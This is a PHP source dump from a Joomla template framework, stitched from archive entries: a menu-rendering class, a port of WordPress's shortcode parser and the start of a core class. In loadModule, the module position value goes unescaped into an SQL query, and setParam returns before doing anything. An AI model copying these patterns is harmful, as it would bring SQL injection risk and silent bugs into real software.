								$v->megaparams->set ('colw'. ($i+1),$colxw[$i]);
							}
						}
					}						
				}
				
				//only for megamenu

				if ($this->_menu=='mega') {
					//calculate menu columns
					if ($v->megaparams->get('cols')) {
						$v->cols = $v->megaparams->get('cols');							
						$v->col = array();
						for ($i=0;$i<$v->cols;$i++) {
							if ($v->megaparams->get("colw$i")) $v->colw[$i]=$v->megaparams->get("colw$i");
						}
					}
				}

				
				array_push($list, $v);
				$children[$pt] = $list;
				$cacheIndex[$v->id] = $index;
				$this->items[$v->id] = $v;
			}
		}
		
		$this->children = $children;
	}
	
	//Generate menu item
	function genMenuItem($item, $level = 0, $pos = '')
	{
		$data = '';
		$title = '';
		$menu_title = '';
		
		// Print a link if it exists
		$active = $this->genClass ($item, $level, $pos);
		$iParams = new JObject(json_decode($item->params));
		
		if ($iParams->get('showmenutitle',1)) {
			$menu_title .= '<span class="menu-title">' . $item->name . '</span>';		
		} else {
			$menu_title .= '<span class="menu-title">&nbsp;</span>';		
		}	
		
		if ($iParams->get('desc')) {
			$menu_title .= '<span class="menu-desc">'. $iParams->get('desc').'</span>';
		}		
		
		//Menu image
		if ($this->shinetheme->Param('show_menu_image') && $iParams->get('menu_image') && $iParams->get('menu_image') != -1) {
			if ($this->shinetheme->Param('menu_image_position',1)=='1') { 
				$txt = '<span class="menu"><img class="menu-image" src="'.JURI::base().$iParams->get('menu_image').'" alt=" " />' . $menu_title . '</span>';
			} else {
				$txt = '<span class="menu"><span class="has-image" style="background-image:url('.JURI::base().$iParams->get('menu_image').')">' . $menu_title . '</span></span>';			
			}
		} else {
			$txt = '<span class="menu">' . $menu_title. '</span>';
		}
				
		if ($item->type == 'menulink')
		{
			$menu = &JSite::getMenu();
			$alias_item = clone($menu->getItem($item->query['Itemid']));
			if (!$alias_item) {
				return false;
			} else {
				$item->url = $alias_item->link;
			}
		}
		
		//Handle Links

		switch ($item->type)
		{
			case 'separator' :
				$item->url = '#';
				break;
				
			case 'url' :
				if ((strpos($item->link, 'index.php?') !== false) && (strpos($item->link, 'Itemid=') === false)) {
					$item->url = $item->link.'&amp;Itemid='.$item->id;
				} else {
					$item->url = $item->link;
				}
				break;
				
			case 'alias':
				$item->url = 'index.php?Itemid='.$item->params->get('aliasoptions');
				break;
				
			default :
				$router = JSite::getRouter();
				$item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
				break;

		}			
		
		if ($item->name) {
			if ($item->type == 'separator')
			{
				$data = '<a href="#" '.$active.'>'.$txt.'</a>';				
			} else {
				if ($item->url != null)
				{
					// Handle SSL links
					
					$iParams =new JObject(json_decode($item->params));
					
					$iSecure = $iParams->def('secure', 0);
					if ($item->home == 1) {
						$item->url = JURI::base();
					} elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?') !== false)) {
						$item->url = JRoute::_($item->url, true, $iSecure);
					} else {
						$item->url = str_replace('&', '&amp;', $item->url);
					}
					
					switch ($item->browserNav)
					{
						default:
						case 0:
							// _top
							$data = '<a href="'.$item->url.'" '.$active.' '.$title.'>'.$txt.'</a>';
							break;
						case 1:
							// _blank
							$data = '<a href="'.$item->url.'" target="_blank" '.$active.' '.$title.'>'.$txt.'</a>';
							break;
						case 2:
							// window.open
							$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->shinetheme->Param('window_open');
	  
							// hrm...this is a bit dickey
							$link = str_replace('index.php', 'index2.php', $item->url);
							$data = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;" '.$active.' '.$title.'>'.$txt.'</a>';
							break;
					}
				} else {
					$data = '<a '.$active.' '.$title.'>'.$txt.'</a>';
				}
			}
		}
		
		//Load module or module positions
		if ($this->_menu=='mega') {
			//For group
			$subcont=$item->megaparams->get ('subcontent');
			
			if ($item->megaparams->get('group') && $data) {
				$data = "<div class=\"sp-menu-group-title\">$data</div>";
				
				if ($subcont =='modules' || $subcont =='positions') {
						//Start module loading
						$data .= '<div class="sp-menu-group-content">';
						$data .= $this->loadSubContent($item,$subcont);
						$data .= '</div>';
				}
			}elseif ($data && ($subcont =='modules' || $subcont =='positions')){//Not group and has sub content
				$data .= $this->beginUl($item->id, $level+1, true);
				$data .= $this->beginMegaSub($item->id, $level+1, $pos, 0, true);
				$data .= $this->loadSubContent($item,$subcont, $level+1, true);//false force to echo result
				$data .= $this->endMegaSub($item->id, $level+1,true);
				$data .= $this->endUl($item->id, $level+1, true);
			}
		}
		//End Megamenu
		echo $data;				
	}
	
	//Load subcontent
	function loadSubContent($item=null,$subItem=null,$level=0,$ret=true) {
		$data='';
		if (!$item->megaparams->get('group')) $data .= '<ul class="sp-menu level-' . $level . '"><li class="menu-item sp-menu-group"><div class="sp-menu-group"><div class="sp-menu-group-content">';
		if ($subItem=='modules') { //load Modules
			$mods=$item->megaparams->get('mods');
			$mods= is_array($mods) ? $mods : preg_split ('/,/',$mods);
			foreach ($mods as $mod) {
				$data .=$this->loadModule ($mod);
			}
		} elseif ($subItem=='positions') {//Load module Positions
			$positions=$item->megaparams->get('positions');
			$positions=is_array($positions) ? $positions : preg_split ('/,/',$positions);
			foreach ($positions as $pos) {
				$data .=$this->loadModule ($pos);
			}						
		}
		if (!$item->megaparams->get('group')) $data .= '</div></div></li></ul>';	
		
		if ($ret) return $data; else echo $data;//return or echo result
	}
	
	/*Menu Item Styling area started*/
	
	function beginUl($pid=0, $level=0, $ret = false){
		$data='';
		if ($level) {
			if ($this->_menu=='mega') {//For megamenu
				if ($this->items[$pid]->megaparams->get('group')) {
					$data .= '<div class="sp-menu-group-content">';
				} else {
				//If not group
				$cols = $pid && $this->_menu=='mega' && isset($this->items[$pid]->cols) && $this->items[$pid]->cols ? $this->items[$pid]->cols : 1;
				$width = $this->items[$pid]->megaparams->get('cwidth', 0);
				if (!$width) {
					for ($col=0;$col<$cols;$col++) {
						$colw = $this->items[$pid]->megaparams->get('colw'.($col+1), 0);
						if (!$colw) $colw = $this->items[$pid]->megaparams->get('colw', $this->getParam ('menu_col_width',200));
						$width += $colw;
					}
				}
				$style = $width?" style=\"width: {$width}px;\"":"";
				$data .= '<div class="sp-submenu"><div class="sp-submenu-wrap"><div class="sp-submenu-inner clearfix"' . $style . '>';
				
				}

			} elseif($this->_menu=='split' || $this->_menu=='drop') {//Split or Dropline menu
				if ($level != 1) {
					$width = $this->getParam ('menu_col_width',200);
					$style = $width?" style=\"width: {$width}px;\"":"";
					$data .= '<div class="sp-submenu"><div class="sp-submenu-wrap"><div class="sp-submenu-inner clearfix"' . $style . '>';
				}
			} 

			elseif($this->_menu=='mobile') {//mobile menu
					$data .= '';
				
			} 


			else {//Others menu
				$width = $this->getParam ('menu_col_width',200);
				$style = $width?" style=\"width: {$width}px;\"":"";
				$data .= '<div class="sp-submenu"><div class="sp-submenu-wrap"><div class="sp-submenu-inner clearfix"' . $style . '>';
			}
		if ($ret) return $data; else echo $data;
		}
	}
	
	function endUl($pid=0, $level=0, $ret = false){
		$data='';
		if ($level) {
			if ($this->_menu=='mega') {
				if ($this->items[$pid]->megaparams->get('group')) {
					$data .= "</div>";
				}else{
					$data .= '</div></div></div>';
				}	
			} elseif($this->_menu=='split' || $this->_menu=='drop') {
				if ($level != 1) {
					$data .= '</div></div></div>';
				}
			} 

			elseif($this->_menu=='mobile') {//mobile menu
					$data .= '';
				
			} 

			else {
				$data .= '</div></div></div>';
			}
		if ($ret) return $data; else echo $data;
		}	
	}

	function beginLi($mitem=null, $level = 0, $pos = ''){
		$active = $this->genClass ($mitem, $level, $pos);
		//echo "<li id='menu-item-{$mitem->id}' $active>";
		echo "<li $active>";

		if ($this->_menu=='mega' && $mitem->megaparams->get('group')) echo "<div class=\"sp-menu-group\">";//If megamenu
	}
	
	function endLi($mitem=null, $level = 0, $pos = ''){
		if ($this->_menu=='mega' && $mitem->megaparams->get('group')) echo "</div>";//If megamenu
		echo "</li>";
	}
	
	//For MegaMenu
	function beginMegaSub($pid=0, $level=0, $pos, $i, $ret=false){
		$data = '';
		if ($this->_menu=='mega') {
			if (isset ($this->items[$pid]) && $level) {
				$cols = $pid && $this->_menu=='mega' && isset($this->items[$pid]->cols) && $this->items[$pid]->cols ? $this->items[$pid]->cols : 1;				
				if ($this->items[$pid]->megaparams->get('group') && $cols < 2) {
				}else {
					$colw = (int) $this->items[$pid]->megaparams->get('colw'.($i+1), 0);
					if (!$colw) $colw = $this->items[$pid]->megaparams->get('colw', $this->getParam ('menu_col_width',200));
					if(is_null($colw) || !is_numeric($colw)) $colw = 200;
					$style = $colw?" style=\"width: {$colw}px;\"":"";
					$data .= "<div class=\"megacol col".($i+1).($pos?" $pos":"")."\"$style>";
				}
			}

		} elseif($this->_menu=='split' || $this->_menu=='drop') {
			if ($level != 1) {
				if (isset ($this->items[$pid]) && $level) {
					$colw=$this->getParam ('menu_col_width',200);
					if(is_null($colw) || !is_numeric($colw)) $colw = 200;
					$style = $colw?" style=\"width: {$colw}px;\"":"";
					$data .= "<div class=\"megacol ".($pos?" $pos":"")."\"$style>";
				}
			}		
		}

elseif($this->_menu=='mobile') {//mobile menu
					$data .= '';
				
			} 


		else{
			if (isset ($this->items[$pid]) && $level) {
				$colw=$this->getParam ('menu_col_width',200);
				if(is_null($colw) || !is_numeric($colw)) $colw = 200;
				$style = $colw?" style=\"width: {$colw}px;\"":"";
				$data .= "<div class=\"megacol ".($pos?" $pos":"")."\"$style>";
			}		
		}

		if($this->_menu=='mobile') {
			if($level>0) {
				$collapse = 'collapse collapse-'. $pid;
				$icon = '<span class="sp-menu-toggler collapsed" data-toggle="collapse" data-target=".collapse-' . $pid . '"><i class="icon-angle-right"></i><i class="icon-angle-down"></i></span>';
			} else{
				$collapse = '';
				$icon = '';
			}

			if (@$this->children[$pid]) $data .= $icon . '<ul class="' . $collapse . '">';//modified
		} else {
			if (@$this->children[$pid]) $data .= '<ul class="sp-menu level-' . $level . '">';//modified
		}

		
		if ($ret) return $data; else echo $data;
	}
	
	//For Megamenu
	function endMegaSub($pid=0, $level=0, $ret=false){
	
		$data = '';
		if (@$this->children[$pid]) $data .= '</ul>';
		if ($this->_menu=='mega') {
			if (isset ($this->items[$pid]) && $level) {
				$cols = $pid && $this->_menu=='mega' && isset($this->items[$pid]->cols) && $this->items[$pid]->cols ? $this->items[$pid]->cols : 1;				
				if ($this->items[$pid]->megaparams->get('group') && $cols < 2) {
				}else {
					$data .= "</div>";
				}
			}

		} elseif($this->_menu=='split' || $this->_menu=='drop') {
			if ($level != 1) {
				if (isset ($this->items[$pid]) && $level) {
					$data .= "</div>";
				}
			}		
		}

		elseif($this->_menu=='mobile') {//mobile menu
					$data .= '';
				
			} 

		else{
			if (isset ($this->items[$pid]) && $level) {
				$data .= "</div>";
			}		
		}
		if ($ret) return $data; else echo $data;
	}
	
	function genClass ($mitem, $level, $pos) {
		$iParams = new JObject(json_decode($mitem->params));
		$active = in_array($mitem->id, $this->open);
		$cls = '';
		$cls .= "menu-item".($active?" active":"").($pos?" $pos":"");
		
		if ($this->_menu=='mega') {
			if (@$this->children[$mitem->id] || ($mitem->megaparams->get('subcontent')=='modules') || ($mitem->megaparams->get('subcontent')=='positions') ) { 
				if ($mitem->megaparams->get('group')) $cls .= " sp-menu-group";
				elseif ($level < $this->shinetheme->Param('endlevel')) $cls .= " parent ";
		}
		
		if ($mitem->megaparams->get('class')) $cls .= " ".$mitem->megaparams->get('class');
			
		} else {
			if (@$this->children[$mitem->id] && $level < ($this->getParam ('endlevel'))+1) $cls .= " parent";
		}
		return $cls?"class=\"$cls\"":"";			
	}
	
	/*End menu items styling*/
	
	function hasSubMenu($level) {
		$pid = $this->getParentId ($level);
		if (!$pid) return false;
		return $this->hasSubItems ($pid);
	}
	
	function hasSubItems($id){
		if (@$this->children[$id]) return true;
		return false;
	}	
	
	function hasSub () {
		$pid = $this->getParentId (1);
		if (!$pid) return false;
		return $this->hasSubItems ($pid);
	}
	
	function genMenu($startlevel=0, $endlevel = -1){

		$this->setParam('startlevel', $startlevel);
		$this->setParam('endlevel', $endlevel==-1?20:$endlevel);
		
		if ($this->shinetheme->Param('startlevel') == 0) {
			//for first level
			$this->genMenuItems (1, 0);
		}else{
			//for sub level
			$pid = $this->getParentId($this->shinetheme->Param('startlevel'));
			if ($pid)
			$this->genMenuItems ($pid, $this->shinetheme->Param('startlevel'));
		}	
	}
	
	function showMenu($startlevel=0, $endlevel = 20){
		if ($this->_menu=='drop') {
				if ($startlevel == 0) $this->genMenu(0,0);
				else {
					$this->setParam('startlevel', $startlevel);
					$this->setParam('endlevel', $endlevel);
					//Sub level
					$pid = $this->getParentId($startlevel - 1);
					if (@$this->children[$pid]) {
						foreach ($this->children[$pid] as $row) {
							if (@$this->children[$row->id]) {
								$this->genMenuItems ($row->id, $startlevel);
							} else {
								echo "<ul class=\"sp-menu empty level-1\"><li class=\"empty\">&nbsp;</li></ul>";
							}
						}
					}
				}	
		} elseif ($this->_menu=='split') {
			if ($startlevel == 0) $this->genMenu(0,0);
			else $this->genMenu($startlevel, $endlevel);
		} else {
			$this->genMenu(0);
		}
	}
	
	function genMenuItems($pid, $level) {//From T3 framework by JoomlArt.com
		if (@$this->children[$pid]) {
			$j = 0;
			$cols = $pid && $this->_menu=='mega' && isset($this->items[$pid]) && isset($this->items[$pid]->cols) && $this->items[$pid]->cols ? $this->items[$pid]->cols : 1;				
			$total = count ($this->children[$pid]);
			$tmp = $pid && isset($this->items[$pid])?$this->items[$pid]:new stdclass();
			if ($cols > 1) {
				$fixitems = count($tmp->col);
				if ($fixitems < $cols) {
					$fixitem = array_sum($tmp->col);
					$leftitem = $total-$fixitem;
					$items = ceil ($leftitem/($cols-$fixitems));
					for ($m=0;$m<$cols && $leftitem > 0;$m++) {
						if (!isset($tmp->col[$m]) || !$tmp->col[$m]) { 
							if ($leftitem > $items) {
								$tmp->col[$m] = $items;
								$leftitem -= $items;
							} else {
								$tmp->col[$m] = $leftitem;
								$leftitem = 0;
							}
						}
					}
					
					$cols = count ($tmp->col);
					$tmp->cols = $cols;
				}
			} else {
				$tmp->col = array($total);
			}
			
			$this->beginUl($pid, $level);
			
			for ($col=0;$col<$cols && $j<$total;$col++) {
				$pos = ($col == 0 ) ? 'first' : (($col == $cols-1) ? 'last' :'');
				$this->beginMegaSub($pid, $level, $pos, $col);//begin megasub items
				
				$i = 0;
				while ($i < $tmp->col[$col] && $j<$total) {
					$row = $this->children[$pid][$j];
					$pos = ($i == 0 ) ? 'first' : (($i == count($this->children[$pid])-1) ? 'last' :'');
					$iParams = new JObject(json_decode($row->params));
					
					$this->beginLi($row, $level, $pos);
					$this->genMenuItem( $row, $level, $pos);

					if ($this->_menu=='mega' && $row->megaparams->get('group')) $this->genMenuItems( $row->id, $level ); //Do not increase level if group
						elseif ($level < $this->shinetheme->Param('endlevel')) $this->genMenuItems( $row->id, $level+1 );

					$this->endLi($row, $level, $pos);
					$j++;$i++;
				}
				$this->endMegaSub($pid, $level);//end megasub items
			}
			$this->endUl($pid, $level);
		}
	}
	
	//get parameter
	function getParam($paramName, $default=null){
		return $this->_params->get($paramName, $default);
	}
	
	//set parameter
	function setParam($paramName, $paramValue){return '';
        return $this->_params->set($paramName, $paramValue);
	}
	
	//get parent id
	function getParentId ($level) {
		if (!$level || (count($this->open) < $level)) return 1;
		return $this->open[count($this->open)-$level];
	}
	
	//Load Module by id or position
	function loadModule($mod)
	{
		$app		= JFactory::getApplication();
		$user		= JFactory::getUser();
		$groups		= implode(',', $user->getAuthorisedViewLevels());
		$lang 		= JFactory::getLanguage()->getTag();
		$clientId 	= (int) $app->getClientId();
		
		$db	= JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('id, title, module, position, content, showtitle, params');
		$query->from('#__modules AS m');
		$query->where('m.published = 1');
		if (is_numeric($mod)) {
			$query->where('m.id = ' . $mod);
		} else {
			$query->where('m.position = "' . $mod . '"');
		}

		$date = JFactory::getDate();
		$now = $date->toSql();
		$nullDate = $db->getNullDate();
		$query->where('(m.publish_up = '.$db->Quote($nullDate).' OR m.publish_up <= '.$db->Quote($now).')');
		$query->where('(m.publish_down = '.$db->Quote($nullDate).' OR m.publish_down >= '.$db->Quote($now).')');

		$query->where('m.access IN ('.$groups.')');
		$query->where('m.client_id = '. $clientId);
		
		// Filter by language
		if ($app->isSite() && $app->getLanguageFilter()) {
			$query->where('m.language IN (' . $db->Quote($lang) . ',' . $db->Quote('*') . ')');
		}

		$query->order('position, ordering');

		// Set the query
		$db->setQuery($query);

		$modules = $db->loadObjectList();
		
		if (!$modules) return null;
		
		$options = array('style' => 'sp_menu');
		$output = '';
		ob_start();
		foreach ($modules as $module) {
			$file				= $module->module;
			$custom				= substr($file, 0, 4) == 'mod_' ?  0 : 1;
			$module->user		= $custom;
			$module->name		= $custom ? $module->title : substr($file, 4);
			$module->style		= null;
			$module->position	= strtolower($module->position);
			$clean[$module->id]	= $module;		
			echo JModuleHelper::renderModule($module, $options);
		}
		$output = ob_get_clean();
		return $output;		
	}
}PK!�ð�6�6!bluejoomla/core/wp_shortcodes.phpnu&1i�<?php
    /**
    * WordPress API for creating bbcode like tags or what WordPress calls
    * "shortcodes." The tag and attribute parsing or regular expression code is
    * based on the Textpattern tag parser.
    *
    * A few examples are below:
    *
    * [shortcode /]
    * [shortcode foo="bar" baz="bing" /]
    * [shortcode foo="bar"]content[/shortcode]
    *
    * Shortcode tags support attributes and enclosed content, but does not entirely
    * support inline shortcodes in other shortcodes. You will have to call the
    * shortcode parser in your function to account for that.
    *
    * {@internal
    * Please be aware that the above note was made during the beta of WordPress 2.6
    * and in the future may not be accurate. Please update the note when it is no
    * longer the case.}}
    *
    * To apply shortcode tags to content:
    *
    * <code>
    * $out = do_shortcode($content);
    * </code>
    *
    * @link http://codex.wordpress.org/Shortcode_API
    *
    * @package WordPress
    * @subpackage Shortcodes
    * @since 2.5
    */

    /**
    * Container for storing shortcode tags and their hook to call for the shortcode
    *
    * @since 2.5
    * @name $shinetheme->shortcode_tags
    * @var array
    * @global array $shinetheme->shortcode_tags
    */
    //$shinetheme->shortcode_tags = array();

    /**
    * Add hook for shortcode tag.
    *
    * There can only be one hook for each shortcode. Which means that if another
    * plugin has a similar shortcode, it will override yours or yours will override
    * theirs depending on which order the plugins are included and/or ran.
    *
    * Simplest example of a shortcode tag using the API:
    *
    * <code>
    * // [footag foo="bar"]
    * function footag_func($atts) {
    *     return "foo = {$atts[foo]}";
    * }
    * add_shortcode('footag', 'footag_func');
    * </code>
    *
    * Example with nice attribute defaults:
    *
    * <code>
    * // [bartag foo="bar"]
    * function bartag_func($atts) {
    *     extract(shortcode_atts(array(
    *         'foo' => 'no foo',
    *         'baz' => 'default baz',
    *     ), $atts));
    *
    *     return "foo = {$foo}";
    * }
    * add_shortcode('bartag', 'bartag_func');
    * </code>
    *
    * Example with enclosed content:
    *
    * <code>
    * // [baztag]content[/baztag]
    * function baztag_func($atts, $content='') {
    *     return "content = $content";
    * }
    * add_shortcode('baztag', 'baztag_func');
    * </code>
    *
    * @since 2.5
    * @uses $shinetheme->shortcode_tags
    *
    * @param string $tag Shortcode tag to be searched in post content.
    * @param callable $func Hook to run when shortcode is found.
    */
    function btadd_shortcode($tag, $func) {
        global $shinetheme;
        
        if ( is_callable($func) )
            $shinetheme->btshortcode_tags[$tag] = $func;
    }

    /**
    * Removes hook for shortcode.
    *
    * @since 2.5
    * @uses $shinetheme->shortcode_tags
    *
    * @param string $tag shortcode tag to remove hook for.
    */
    function btremove_shortcode($tag) {
        global $shinetheme;

        unset($shinetheme->btshortcode_tags[$tag]);
    }

    /**
    * Clear all shortcodes.
    *
    * This function is simple, it clears all of the shortcode tags by replacing the
    * shortcodes global by a empty array. This is actually a very efficient method
    * for removing all shortcodes.
    *
    * @since 2.5
    * @uses $shinetheme->shortcode_tags
    */
    function btremove_all_shortcodes() {
        global $shinetheme;

        $shinetheme->btshortcode_tags = array();
    }

    /**
    * Search content for shortcodes and filter shortcodes through their hooks.
    *
    * If there are no shortcode tags defined, then the content will be returned
    * without any filtering. This might cause issues when plugins are disabled but
    * the shortcode will still show up in the post or content.
    *
    * @since 2.5
    * @uses $shinetheme->shortcode_tags
    * @uses get_shortcode_regex() Gets the search pattern for searching shortcodes.
    *
    * @param string $content Content to search for shortcodes
    * @return string Content with shortcodes filtered out.
    */
    function btdo_shortcode($content) {

        global $shinetheme;
        
        if (empty($shinetheme->btshortcode_tags) || !is_array($shinetheme->btshortcode_tags))
            return $content;

        $pattern = btget_shortcode_regex();
        return preg_replace_callback( "/$pattern/s", 'btdo_shortcode_tag', $content );
    }

    /**
    * Retrieve the shortcode regular expression for searching.
    *
    * The regular expression combines the shortcode tags in the regular expression
    * in a regex class.
    *
    * The regular expression contains 6 different sub matches to help with parsing.
    *
    * 1 - An extra [ to allow for escaping shortcodes with double [[]]
    * 2 - The shortcode name
    * 3 - The shortcode argument list
    * 4 - The self closing /
    * 5 - The content of a shortcode when it wraps some content.
    * 6 - An extra ] to allow for escaping shortcodes with double [[]]
    *
    * @since 2.5
    * @uses $shinetheme->shortcode_tags
    *
    * @return string The shortcode search regular expression
    */
    function btget_shortcode_regex() {
        global $shinetheme;
        $tagnames = array_keys($shinetheme->btshortcode_tags);
        $tagregexp = join( '|', array_map('preg_quote', $tagnames) );

        // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
        // Also, see shortcode_unautop() and shortcode.js.
        return
        '\\['                              // Opening bracket
        . '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
        . "($tagregexp)"                     // 2: Shortcode name
        . '(?![\\w-])'                       // Not followed by word character or hyphen
        . '('                                // 3: Unroll the loop: Inside the opening shortcode tag
        .     '[^\\]\\/]*'                   // Not a closing bracket or forward slash
        .     '(?:'
        .         '\\/(?!\\])'               // A forward slash not followed by a closing bracket
        .         '[^\\]\\/]*'               // Not a closing bracket or forward slash
        .     ')*?'
. ')'
. '(?:'
        .     '(\\/)'                        // 4: Self closing tag ...
        .     '\\]'                          // ... and closing bracket
        . '|'
        .     '\\]'                          // Closing bracket
        .     '(?:'
        .         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
        .             '[^\\[]*+'             // Not an opening bracket
        .             '(?:'
        .                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
        .                 '[^\\[]*+'         // Not an opening bracket
        .             ')*+'
.         ')'
        .         '\\[\\/\\2\\]'             // Closing shortcode tag
        .     ')?'
. ')'
        . '(\\]?)';                          // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
    }

    /**
    * Regular Expression callable for do_shortcode() for calling shortcode hook.
    * @see get_shortcode_regex for details of the match array contents.
    *
    * @since 2.5
    * @access private
    * @uses $shinetheme->shortcode_tags
    *
    * @param array $m Regular expression match array
    * @return mixed False on failure.
    */
    function btdo_shortcode_tag( $m ) {
        global $shinetheme;

        // allow [[foo]] syntax for escaping a tag
        if ( $m[1] == '[' && $m[6] == ']' ) {
            return substr($m[0], 1, -1);
        }

        $tag = $m[2];
        $attr = btshortcode_parse_atts( $m[3] );

        if ( isset( $m[5] ) ) {
            // enclosing tag - extra parameter
            return $m[1] . call_user_func( $shinetheme->btshortcode_tags[$tag], $attr, $m[5], $tag ) . $m[6];
        } else {
            // self-closing tag
            return $m[1] . call_user_func( $shinetheme->btshortcode_tags[$tag], $attr, null,  $tag ) . $m[6];
        }
    }

    /**
    * Retrieve all attributes from the shortcodes tag.
    *
    * The attributes list has the attribute name as the key and the value of the
    * attribute as the value in the key/value pair. This allows for easier
    * retrieval of the attributes, since all attributes have to be known.
    *
    * @since 2.5
    *
    * @param string $text
    * @return array List of attributes and their value.
    */
    function btshortcode_parse_atts($text) {
        $atts = array();
        $pattern = '/(\w+)\s*=\s*"([^"]*)"(?:\s|$)|(\w+)\s*=\s*\'([^\']*)\'(?:\s|$)|(\w+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/';
        $text = preg_replace("/[\x{00a0}\x{200b}]+/u", " ", $text);
        if ( preg_match_all($pattern, $text, $match, PREG_SET_ORDER) ) {
            foreach ($match as $m) {
                if (!empty($m[1]))
                    $atts[strtolower($m[1])] = stripcslashes($m[2]);
                elseif (!empty($m[3]))
                    $atts[strtolower($m[3])] = stripcslashes($m[4]);
                elseif (!empty($m[5]))
                    $atts[strtolower($m[5])] = stripcslashes($m[6]);
                elseif (isset($m[7]) and strlen($m[7]))
                    $atts[] = stripcslashes($m[7]);
                elseif (isset($m[8]))
                    $atts[] = stripcslashes($m[8]);
            }
        } else {
            $atts = ltrim($text);
        }
        return $atts;
    }

    /**
    * Combine user attributes with known attributes and fill in defaults when needed.
    *
    * The pairs should be considered to be all of the attributes which are
    * supported by the caller and given as a list. The returned attributes will
    * only contain the attributes in the $pairs list.
    *
    * If the $atts list has unsupported attributes, then they will be ignored and
    * removed from the final returned list.
    *
    * @since 2.5
    *
    * @param array $pairs Entire list of supported attributes and their defaults.
    * @param array $atts User defined attributes in shortcode tag.
    * @return array Combined and filtered attribute list.
    */
    function btshortcode_atts($pairs, $atts) {
        $atts = (array)$atts;
        $out = array();
        foreach($pairs as $name => $default) {
            if ( array_key_exists($name, $atts) )
                $out[$name] = $atts[$name];
            else
                $out[$name] = $default;
        }
        return $out;
    }

    /**
    * Remove all shortcode tags from the given content.
    *
    * @since 2.5
    * @uses $shinetheme->shortcode_tags
    *
    * @param string $content Content to remove shortcode tags.
    * @return string Content without shortcode tags.
    */
    function btstrip_shortcodes( $content ) {
        global $shinetheme;

        if (empty($shinetheme->btshortcode_tags) || !is_array($shinetheme->btshortcode_tags))
            return $content;

        $pattern = btget_shortcode_regex();

        return preg_replace_callback( "/$pattern/s", 'btstrip_shortcode_tag', $content );
    }

    function btstrip_shortcode_tag( $m ) {
        // allow [[foo]] syntax for escaping a tag
        if ( $m[1] == '[' && $m[6] == ']' ) {
            return substr($m[0], 1, -1);
        }

        return $m[1] . $m[6];
    }

    /**
 * Don't auto-p wrap shortcodes that stand alone
 *
 * Ensures that shortcodes are not wrapped in <<p>>...<</p>>.
 *
 * @since 2.9.0
 *
 * @param string $pee The content.
 * @return string The filtered content.
 */
    function btshortcode_unautop( $pee ) {

        global $shinetheme;

        if ( empty( $shinetheme->btshortcode_tags ) || !is_array( $shinetheme->btshortcode_tags ) ) {
            return $pee;
        }

        $tagregexp = join( '|', array_map( 'preg_quote', array_keys( $shinetheme->btshortcode_tags ) ) );

        $pattern =
        '/'
        . '<p>'                              // Opening paragraph
        . '\\s*+'                            // Optional leading whitespace
        . '('                                // 1: The shortcode
        .     '\\['                          // Opening bracket
        .     "($tagregexp)"                 // 2: Shortcode name
        .     '(?![\\w-])'                   // Not followed by word character or hyphen
                                             // Unroll the loop: Inside the opening shortcode tag
        .     '[^\\]\\/]*'                   // Not a closing bracket or forward slash
        .     '(?:'
        .         '\\/(?!\\])'               // A forward slash not followed by a closing bracket
        .         '[^\\]\\/]*'               // Not a closing bracket or forward slash
        .     ')*?'
        .     '(?:'
        .         '\\/\\]'                   // Self closing tag and closing bracket
        .     '|'
        .         '\\]'                      // Closing bracket
        .         '(?:'                      // Unroll the loop: Optionally, anything between the opening and closing shortcode tags
        .             '[^\\[]*+'             // Not an opening bracket
        .             '(?:'
        .                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
        .                 '[^\\[]*+'         // Not an opening bracket
        .             ')*+'
        .             '\\[\\/\\2\\]'         // Closing shortcode tag
        .         ')?'
        .     ')'
        . ')'
        . '\\s*+'                            // optional trailing whitespace
        . '<\\/p>'                           // closing paragraph
        . '/s';

        return preg_replace( $pattern, '$1', $pee );
    }

PK!�����s�sbluejoomla/core/bluejoomla.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
    //no direct accees
    defined ('_JEXEC') or die('resticted aceess');

    jimport('joomla.filesystem.file');
    jimport('joomla.filesystem.folder');

    class Bluejoomla {

        private static $_instance;
        private $document;
        private $importedFiles=array();
        private $_less;

        //initialize 
        public function __construct(){

        }

        /**
        * making self object for singleton method
        * 
        */
        final public static function getInstance()
        {
            if( !self::$_instance ){
                self::$_instance = new self();
                self::getInstance()->getDocument();
                self::getInstance()->getDocument()->shinetheme = self::getInstance();
            } 
            return self::$_instance;
        }


        /**
        * Get Document
        * 
        * @param string $key
        */
        public static function getDocument($key=false)
        {
            self::getInstance()->document = JFactory::getDocument();
            $doc = self::getInstance()->document;
            if( is_string($key) ) return $doc->$key;

            return $doc;
        }
         /**
        * Get images
        * 
        * @param string $key
        */
        public static function resizeImgThumb($img,$thumb_w,$thumb_h,$folder_thumb,$key){
            if (self::getInstance()->checkImage(JPATH_ROOT.'/'.$img)){
                JFolder::create(JPATH_ROOT.'/'.$folder_thumb);
            }else{
                return '';
            }
            FileManager::load($folder_full.$img);
            FileManager::resize($thumb_w,$thumb_h,0,0,0,0);
            FileManager::save(JPATH_ROOT.'/'.$folder_thumb.$key.'.jpg');
            return $folder_thumb.$key.'.jpg';
        }
        /**
        * Get images
        * 
        * @param string $key
        */
        public static function getImages($dir = null){
            // create an array to hold directory list
            $results = array();
            if (!empty($dir)){
            
                // create a handler for the directory
                $handler = opendir(JPATH_ROOT.'/'.$dir);
            
                // open directory and walk through the filenames
                while ($file = readdir($handler)) {
            
                  // if file isn't this directory or its parent, add it to the results
                  if ($file != "." && $file != "..") {
